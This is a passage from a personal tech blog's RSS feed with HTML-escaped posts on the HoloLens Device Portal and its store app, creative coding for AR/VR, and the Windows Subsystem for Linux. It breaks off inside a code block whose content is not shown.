The virtual keyboard again I think is one of the best features – saving so much time air-tapping and the arms. ! &amp;#x1f604;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-30.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
App manager can do some elements of management, but not as much as the web version.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-31.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
And finally, you can see some details on the device. I think the Shutdown and Reboot options are probably the one which are more useful.&lt;/p&gt;
&lt;p&gt;All in all, this is a little more polished and end-user friendly. Useful when demo’ing the mixed reality solutions you are building.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>HoloLens - Device Portal (Part 1)</title>
      <link>/post/2016/04/hololens-device-portal-part-1/</link>
      <pubDate>Mon, 25 Apr 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/04/hololens-device-portal-part-1/</guid>
      <description>&lt;p&gt;One of the advantages of running Windows 10 on the HoloLens is that it has all the regular features that you would expect. From a developers perspective, one of those being the Device Portal which is awesome. It is essentially a web server that is being hosted on the machine, and allows you to manage your device over Wifi and USB.&lt;/p&gt;
&lt;p&gt;It is a must have if you want to stream your apps (including Holograms) so that others can see it, or alternatively you can record and then share. And of course there are details for various debug situations and the Virtual input saves your fingers from getting tired! 😄 You also use this to side load the apps you built. There are &lt;a
	
		href = &#34;https://msdn.microsoft.com/en-us/windows/uwp/debug-test-perf/device-portal-api-hololens#holographic-os&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		REST APIs
	&lt;/span&gt;
&lt;/a&gt; you could use if you want to program, and there is also a UAP app on the store (more on that in &lt;a
	
		href = &#34;/post/2016/04/hololens-device-portal-part-2/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		part 2
	&lt;/span&gt;
&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;To get to this, you browse to the IP address. Below are a few screenshots from my playing around which shows you the various aspects of the portal and what all you can do. And the beauty of this is, as a Windows developer, this all should be very familiar and nothing new. 😄&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb-6.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;Home Screen – once you login&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb-7.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;3D View Settings&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb-8.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;Mixed reality capture&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
Mixed reality capture – one of the key elements that lets you share the magic with others&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb-9.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;Perf Tracing&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
Perf Tracing and the various levels you can set as part of &lt;a
	
		href = &#34;http://msdn.microsoft.com/en-us/performance/cc825801.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows Performance Toolkit
	&lt;/span&gt;
&lt;/a&gt;. This is WPR/WPA support in Systems.Diagnostics.Tracing – see &lt;a
	
		href = &#34;https://blogs.msdn.microsoft.com/vancem/2013/08/10/wprwpa-support-for-viewing-system-diagnostics-tracing-eventsource/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this post
	&lt;/span&gt;
&lt;/a&gt; for more details.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb-10.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;Process details&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
Process details and you can sort by the relevant column.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-11.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
Process details #1 – showing various details from Power to Framerate to IO, Memory, etc..&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-12.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
Process details #2&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-13.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
Process details #3&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-14.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
App Manager which is where you side-load apps and manage them&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-15.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
Crash Data – the name says it all&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-16.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
Kiosk Mode – this is really interesting; you can ‘lock’ into one app and use that. I wonder how one breaks out of it when done being in this mode and wanting to get back to ‘regular’.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-17.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-18.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
All the ETW (&lt;a
	
		href = &#34;https://msdn.microsoft.com/en-us/library/ms751538%28v=vs.110%29.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Event tracing for Windows
	&lt;/span&gt;
&lt;/a&gt;) details and the providers you can want. Again pretty standard stuff.&lt;/p&gt;
&lt;p&gt;[&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-19.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
Simulation – not sure if this is used for regression or playback in another setting – where the room capture would help. Does open up interesting possibilities. I think it might allow one to capture the spatial mapping of a room, which then you might be able to use in the emulator (such as someone has done &lt;a
	
		href = &#34;http://hololenshelpwebsite.com/Blog/EntryId/1009/Capture-A-Real-Room-For-The-HoloLens-Emulator&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-20.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
Networking Configuration where you go and manage this.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-21.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
Virtual Input – a great time saver.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-22.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
And finally, some of the security settings to ensure no one on the same subnet is mucking with you; or when there is more than one device then you talking to the right one.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Creative Coding</title>
      <link>/post/2016/04/creative-coding/</link>
      <pubDate>Fri, 22 Apr 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/04/creative-coding/</guid>
      <description>&lt;p&gt;As we start to play and explore with new AR/VR mediums like Oculus and HoloLens there is a stronger shift from the traditional medium of working from a more transaction with-known-outcome based model to a more expressive and exploratory model. In the context of many enterprises this is a bigger shift - albeit some of it they have started seeing with mobility but still not the same.&lt;/p&gt;
&lt;p&gt;I really like how &lt;a
	
		href = &#34;https://twitter.com/rickbarraza&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Rick
	&lt;/span&gt;
&lt;/a&gt; explains and expresses this both in terms of definition and thinking. The clay analogy I think really helps.&lt;/p&gt;
&lt;iframe src=&#34;//www.youtube.com/embed/1rx86BeqZTM&#34; width=&#34;560&#34; height=&#34;314&#34; allowfullscreen=&#34;allowfullscreen&#34;&gt;&lt;/iframe&gt;
</description>
    </item>
    
    <item>
      <title>bash on Windows is real &amp; not a VM</title>
      <link>/post/2016/04/bash-on-windows-is-real-not-a-vm/</link>
      <pubDate>Wed, 20 Apr 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/04/bash-on-windows-is-real-not-a-vm/</guid>
      <description>&lt;p&gt;I have talked to a few folks recently, and they still don’t believe bash on Windows (RS1) is ‘real’ and think it some kind of a VM. No it is not. It is the ‘real’ user mode running on Windows. It is not Cygwin, and it is not a VM. It is essentially all of the user mode (I.e. Linux without the kernel).&lt;/p&gt;
&lt;p&gt;The kernel in this case is a wrapper around the NT kernel that translates the Linux commands to Windows and then things run. As far as Linux is concerned, its the same code and doesn’t have any changes). Technically this is called Windows Subsystem for Linux (WSL).&lt;/p&gt;
&lt;p&gt;On windows, this is installed in the user space; so each user get their own instance effectively which is isolated from the other users. Once you install it (and if you are still reading this, then you probably know how to install it), then this shows up under &lt;code&gt;C:\Users\your-user-ID\AppData\Local\lxss&lt;/code&gt;. If you can’t find that folder, you can still type it and navigate to it. Below is  a screen shot on what this looks like:&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-3.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;It is a little interesting and been mucking around this. Here is you can see the installation of gcc:
&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-4.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And here is the output of the CPU details:
&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-5.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;  1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;  2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;  3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;  4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;  5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;  6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;  7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;  8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt;  9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt; 10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt; 11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt; 12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt; 13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt; 14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt; 15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt; 16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt; 17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt; 18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt; 19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt; 20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt; 21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt; 22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt; 23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt; 24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt; 25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt; 26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt; 27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt; 28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt; 29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt; 30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt; 31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt; 32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt; 33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt; 34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt; 35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt; 36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt; 37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt; 38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt; 39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt; 40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt; 41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt; 42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt; 43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt; 44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt; 45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt; 46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt; 47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt; 48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt; 49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt; 50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt; 51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt; 52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt; 53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt; 54&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt; 55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt; 56&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;57&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#57&#34;&gt; 57&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;58&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#58&#34;&gt; 58&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;59&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#59&#34;&gt; 59&lt;/a&gt;
